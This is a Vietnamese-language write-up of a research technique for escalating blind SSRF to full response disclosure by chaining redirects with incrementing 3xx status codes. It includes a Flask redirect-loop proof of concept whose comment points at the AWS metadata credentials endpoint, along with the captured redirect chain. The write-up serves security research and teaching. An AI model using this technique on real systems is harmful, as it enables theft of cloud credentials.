Researcher rơi vào tình huống mà có thể thực hiện blind SSRF nhưng không thể đọc response do ứng dụng thực hiện JSON parsing trên response trả về. Và do response trả về từ SSRF target chẳng hạn như metadata endpoint của AWS không có dạng JSON nên response trả về cho researcher lại là parsing error.

SSRF Testing Flow

Trong tình huống này, researcher bắt đầu thử nghiệm xem ứng dụng có follow redirect hay không bằng cách trỏ SSRF target đến các URL trả về server-side redirect. Đối với 1 hoặc 2 redirect thì ứng dụng vẫn trả về parsing error: Exception: Invalid JSON còn nếu quá 30 lần redirect thì nhận được response là NetworkException.

Lúc này, researcher đổi hướng tiếp cận và thay vì trỏ SSRF target đến các URL có response là 3xx thì lại trỏ đến các URL trả về 401 hoặc 500 status code. Với 500 status code, ứng dụng không thực hiện parsing mà trả về full response của SSRF target. Đây chính là một tín hiệu tốt.

Mục tiêu của researcher là tìm cách để đọc cloud metadata có status code là 200 và không có cách nào để khiến cho status code của response đó trở thành 500. Researcher đặt ra giả thuyết là có thể một status code nào đó trong dãy 3xx có thể có hành vi tương tự với 500 status code: trả về full response.

Với giả thuyết này, researcher xây dựng một ứng dụng đơn giản thực hiện 1 redirect loop: nó sẽ liên tục redirect về chính nó với status code tăng dần.

@app.route('/redir', methods=['GET', 'POST'])
def redir():
    """Handle redirects with loop counter - after 10 redirects, go to final SSRF location."""
    # Get the current redirect count from query parameter, default to 0
    redirect_count = int(request.args.get('count', 0))
 
    # Increment the counter
    redirect_count += 1
    status_code = 301 + redirect_count
    # If we've reached 10 redirects, redirect to our desired location
    # To grab AWS metadata keys, you would hit http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name-here
    if redirect_count >= 10:
        return redirect("http://example.com", code=302)
    print("trying: " + str(status_code))
    # Otherwise, redirect back to /redir with incremented counter
    return redirect(f"/redir?count={redirect_count}", code=status_code)
 
@app.route('/start', methods=['POST', 'GET'])
def start():
    """Starting point for redirect loop."""
    return redirect("/redir", code=302)

Hàm redir có nhiệm vụ redirect đến SSRF target nếu như số lần redirect chạm mốc 10. Trong trường hợp chưa chạm mốc, nó sẽ thực hiện tăng status code lên và redirect về endpoint /redir.

Route /start được dùng để kích hoạt redirect loop với status code ban đầu là 302.

Khi trỏ SSRF target đến URL của ứng dụng trên, target application trả về full HTTP redirect chain và các responses như sau:

HTTP/1.1 305 USE PROXY
Date: Sun, 01 Jun 2025 02:43:18 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 215
Connection: keep-alive
server: Werkzeug/2.2.3 Python/3.10.12
location: /redir?count=4
 
HTTP/1.1 306 SWITCH PROXY
Date: Sun, 01 Jun 2025 02:43:18 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 215
Connection: keep-alive
server: Werkzeug/2.2.3 Python/3.10.12
location: /redir?count=5
 
HTTP/1.1 307 TEMPORARY REDIRECT
Date: Sun, 01 Jun 2025 02:43:19 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 215
Connection: keep-alive
server: Werkzeug/2.2.3 Python/3.10.12
location: /redir?count=6
 
HTTP/1.1 308 PERMANENT REDIRECT
Date: Sun, 01 Jun 2025 02:43:19 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 215
Connection: keep-alive
server: Werkzeug/2.2.3 Python/3.10.12
location: /redir?count=7
 
HTTP/1.1 309 UNKNOWN
Date: Sun, 01 Jun 2025 02:43:20 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 215
Connection: keep-alive
server: Werkzeug/2.2.3 Python/3.10.12
location: /redir?count=8
 
HTTP/1.1 310 UNKNOWN
Date: Sun, 01 Jun 2025 02:43:20 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 215
Connection: keep-alive
server: Werkzeug/2.2.3 Python/3.10.12
location: /redir?count=9
 
HTTP/1.1 302 FOUND
Date: Sun, 01 Jun 2025 02:43:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 225
Connection: keep-alive
server: Werkzeug/2.2.3 Python/3.10.12
location: https://example.com
 
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/html
ETag: "84238dfc8092e5d9c0dac8ef93371a07:1736799080.121134"
Last-Modified: Mon, 13 Jan 2025 20:11:20 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 648
Cache-Control: max-age=1824
Date: Sun, 01 Jun 2025 02:43:21 GMT
Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,quic=":443"; ma=93600; v="43"
Connection: keep-alive
 
<!doctype html>
 
... omitted for brevity ... (full response)

Điều ngạc nhiên là response cuối cùng có status code 200 đúng như mục tiêu cần đạt được.

But why Did it Work?

Researcher cho rằng có lỗi xảy ra khi có nhiều hơn 5 redirect và khi đó thì việc redirect không còn được handle bởi libcurl mà được handle bởi bản thân ứng dụng.

Summary

Summary

Bất cứ khi nào chúng ta gặp application có lỗi blind SSRF mà chỉ trả về full response đối với status code 500 thì có thể tận dụng kỹ thuật trên.

Resources